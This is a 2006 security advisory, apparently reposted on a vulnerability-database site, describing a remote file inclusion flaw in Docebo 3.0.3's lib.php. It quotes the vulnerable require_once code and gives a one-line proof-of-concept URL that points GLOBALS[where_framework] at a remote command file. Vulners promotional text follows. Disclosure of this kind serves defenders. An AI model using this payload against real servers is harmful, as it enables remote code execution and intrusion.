`-----------------------------------------------------
Advisory id: FSA:009
Author: Federico Fazzi
Date: 09/06/2006, 7:09
Sinthesis: Docebo Kms 3.0.3, Remote command execution
Type: high
Product: http://www.docebolms.org/
Patch: unavailable
-----------------------------------------------------
1) Description:
Error occured in lib.php,
require_once($GLOBALS['where_framework'].'/lib/lib.lang.php');
require_once($GLOBALS['where_framework'].'/lib/lib.template.php');
require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php');
require_once($GLOBALS['where_framework'].'/lib/lib.utils.php');
The users can include a remote file because
the $GLOBALS['where_framework'] isn't sanitized
2) Proof of concept:
http://example/[dc_path]/lib/lib.php?GLOBALS[where_framework]=[cmd_url]
3) Solution:
include file where are declare $GLOBALS[*]
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation